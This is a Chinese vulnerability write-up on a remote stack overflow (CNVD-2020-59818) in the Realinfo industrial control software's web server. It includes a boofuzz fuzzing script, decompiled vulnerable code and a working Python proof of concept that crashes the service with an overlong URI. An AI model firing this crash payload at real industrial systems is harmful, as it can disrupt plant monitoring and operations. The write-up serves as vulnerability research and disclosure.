紫金桥组态软件是某工控系统的上位机控制软件,官方网站:http://www.realinfo.com.cn/
此漏洞发布于 2020-12-03,CNVD 链接:https://www.cnvd.org.cn/flaw/show/CNVD-2020-59818
基本信息 漏洞评分:高
漏洞描述:紫金桥监控组态软件是一款专业的紫金桥监控组态软件,采用C/S体系结构,拥有数据库处理技术和图形系统。紫金桥监控组态软件存在远程栈溢出漏洞。攻击者可利用漏洞导致web服务崩溃。
漏洞分析 工控系统简介
工控设备和一些常见的 IoT 设备有很多相似的地方,工控系统通常分为上位机和下位机,下位机负责直接控制设备或者获取设备状况,一般是一些 PLC 或者单片机,它们的计算能力较弱,只负责数据的采集和简单控制。
上位机可以直接发出操控命令,充当控制者的角色,通常由 PC 构成。
我们分析的漏洞就出现在上位机控制软件中,紫金桥组态软件官网宣称其用户包括中国石油、中国石化、中船重工等。
由于上位机充当整个系统的控制管理角色,其地位是比较重要的,一旦恶意用户掌握了上位机的操控权限,即可对整个生产流程进行修改,这将对工业生产造成极大的威胁。
软件下载地址(紫金桥监控组态软件 V6.5):http://www.realinfo.com.cn/html/software/Realinfo/index.html
下载完成之后运行 Setup.cmd 安装。
漏洞描述中提到了触发漏洞将导致 web 服务崩溃,我们可以去官方帮助文档中查找关于 Web 服务的资料,在这里 搜索 Web,可以找到相关文章:http://www.realinfo.com.cn/html/technology/technical/342.html,根据其中的描述,软件的 Web 功能主要用于数据展示,可以实时查看所需的信息。
帮助文档中提到 Web 发布程序是根目录下的 WebSvr.exe,双击运行可以看到如下界面
Web 发布有两种方式,一是使用 IIS,二是用软件自带的 WEB 服务器,自带的 Web 服务默认运行在 80 端口,在浏览器中可以正常访问,默认的 Web 目录是程序安装路径下的 DemoApp\DemoFunction(1024_768)\,由于软件需要进行注册,暂时无法新建工程。正常使用过程中,Web 目录可以自行设置。
用浏览器访问的时候抓包,正常的访问请求如下
1 2 3 4 5 6 7 8 9 GET /StartLog.Txt HTTP/1.1 Host: 192.168.136.130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
服务器响应
1 2 3 4 5 6 7 8 HTTP/1.0 200 OK Server: MS-MFC-WebSvr/1.0 Date: Fri, 04 Dec 2020 04:21:10 GMT Content-type: text/plain Content-length: 62 Last-Modified: Fri, 06 Apr 2007 00:09:06 GMT 04 06 08:09 RestartProc C:\Program Files\RealInfo\WebSvr.EXE
访问记录在服务端可以看到。
由于程序代码较多,并且是标准的 Web 服务,所以考虑先对其进行 fuzz,这里用到的工具是 boofuzz,关于 boofuzz 的使用方法网上可以找到很多教程,这里就不赘述了,编写 fuzz 脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from boofuzz import *import requests def fuck (): session = Session( sleep_time=0.2 , target=Target( connection=TCPSocketConnection("192.168.136.130" , 80 ) )) s_initialize(name="Request" ) with s_block("Request-Line" ): s_static("POST" , name="Method" ) s_static(" " , name='space-1' ) s_string('/aaaa' , name='URI' ) s_static(" " , name='space-2' ) s_static('HTTP/1.1' , name='HTTP-Version' ) s_static("\r\n" ) s_static("Host" , name="Host" ) s_static(": " ) s_static("192.168.1.1" , name="ip" ) s_static("\r\n" ) s_static('Origin' ) s_static(': ' ) s_string('http://192.168.1.1' , name='orogin' ) s_static("\r\n" ) s_static('Content-Type' ) s_static(': ' ) s_string('application/x-www-form-urlencoded' , name='content-type' ) s_static("\r\n" ) s_static('User-Agent' ) s_static(': ' ) s_string('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36' , name='user-agent' ) s_static("\r\n" ) s_static('Accept' ) s_static(': ' ) s_string('text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' , name='accept' ) s_static("\r\n" ) s_static('Referer' ) s_static(': ' ) s_string('http://192.168.1.1/weblogin.htm' , name='referer' ) s_static("\r\n" ) s_static('Accept-Encoding' ) s_static(': ' ) s_string('gzip, deflate' , name='accept-encoding' ) s_static("\r\n" ) s_static('Accept-Language' ) s_static(': ' ) s_string('zh-CN,zh;q=0.9' , name='accept-language' ) s_static("\r\n" ) s_static('Connection' ) s_static(': ' ) s_string('close' , name='connection' ) s_static("\r\n" ) s_static("\r\n" ) with s_block('data' ): s_static('aa=' ) s_string('aa' , max_len=1024 ) s_static('&ab=' ) s_string('ab' , max_len=1024 ) s_static('&ac=' ) s_string('ac' , max_len=1024 ) session.connect(s_get("Request" )) session.fuzz() fuck()
boofuzz 允许设置监视器,可以在每次 fuzz 之后检查程序是否运行正常,由于目标程序比较简单,没有编写监视器,手动来检测也可以。
运行之后 Web 服务立刻就会崩溃,信息如下
错误代码 c0000409 属于内存访问错误,这里可以确定程序中确实存在一些内存越界问题。
经过测试发现能够稳定触发漏洞的 POC 如下
1 2 3 4 5 6 7 8 9 GET /<payload> HTTP/1.1 Host: 192.168.136.130 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
在 payload 处插入超长的字符串可以导致程序崩溃。
接下来要判断崩溃的原因,经尝试 OD 不能正确的捕获到异常信息,需要使用 IDA 调试。
IDA 运行程序之后发送 payload,提示异常信息如下
程序访问了非法地址 0x00190000,中断位置:
edx 就是非法地址。由于中断位于 kernel32.dll 中,猜测是某个系统 API 函数,想要定位用户程序中哪里调用了此函数,可以进行栈回溯,首先找到 EBP 的值为 0018EDE0,查看返回地址 0018EDE4 内容为
1 0018EDE4 0040297E sub_4028A0:loc_40297E
这样就找到了 Web 服务器中可能存在问题的代码段,在 IDA 中转到地址 0040297E,发现这里的代码没有被正常识别为函数,在地址 004028A0 按 P 键创建函数,F5 就可以看到反编译代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 void __stdcall vuln (int a1, _DWORD *a2) { int v2; int v3; LPCSTR *v4; LPCSTR *v5; int v6; int v7; v2 = a1; v6 = 0 ; if ( *(a1 + 12 ) & 1 ) { v3 = *(a1 + 44 ); switch ( *(a1 + 20 ) ) { case 0 : case 5 : lstrcpyA(*(a1 + 32 ), *(v3 + 16 )); break ; case 1 : if ( *(v3 + 32 ) > 0 ) { v4 = CTime::Format(v3 + 20 , &a1, 57347 ); lstrcpyA(*(v2 + 32 ), *v4); v7 = -1 ; CString::~CString(&a1); } break ; case 2 : lstrcpyA(*(a1 + 32 ), *(v3 + 4 )); break ; case 3 : if ( *(v3 + 32 ) > 0 ) { v5 = CTime::Format(v3 + 20 , &v6, 57347 ); lstrcpyA(*(v2 + 32 ), *v5); v7 = -1 ; CString::~CString(&v6); } break ; case 4 : lstrcpyA(*(a1 + 32 ), *(v3 + 12 )); break ; default : break ; } } *a2 = 0 ; }
显然其中引用了多次 lstrcpyA 函数进行字符串拷贝,在拷贝的时候不考虑源字符串长度,当传入超长的字符串之后将导致溢出。不过在静态分析下无法定位到谁使用了这个函数,所以可通过调试看看执行到这里时内存布局情况。
IDA 启动调试,在此函数下断点,当执行到崩溃位置时 lstrcpyA 函数参数如下
源字符串就是我们传入的 payload,目的内存位于栈中,地址是 0018F3C0,进入拷贝函数之后由于源字符串超长,缓冲区指针将不断递增,最终到达 0x00190000 的不可写内存,导致程序崩溃。
值得注意的是当提示程序停止工作的时候,错误模块是 comctl32.dll,它是应用程序共用 GUI 库,当发送一个访问请求之后,程序会在窗口中将访问的 URI 显示出来,在显示的过程中缺少对 URI 长度限制,可能导致在绘制 GUI 的时候发生错误。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport timeip = "192.168.136.130" burp0_url = "http://" + ip + "/" + "a" * 0x1000 burp0_headers = {"Cache-Control" : "max-age=0" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } while True : try : requests.get(burp0_url, headers=burp0_headers, timeout=3 ) time.sleep(1 ) except : print ("[+] Success!" ) exit(0 )
- 这个漏洞比较简单,目前来看只能造成拒绝服务,暂时不清楚能否对控制系统产生影响,另外在主程序存在数据传输端口 1998,有可能也存在一些问题。
我们使用了简单的 fuzz 技巧来发现这个漏洞,fuzz 的核心就是定义数据格式适配目标程序,如果大家有更好的模糊测试思路欢迎来信讨论。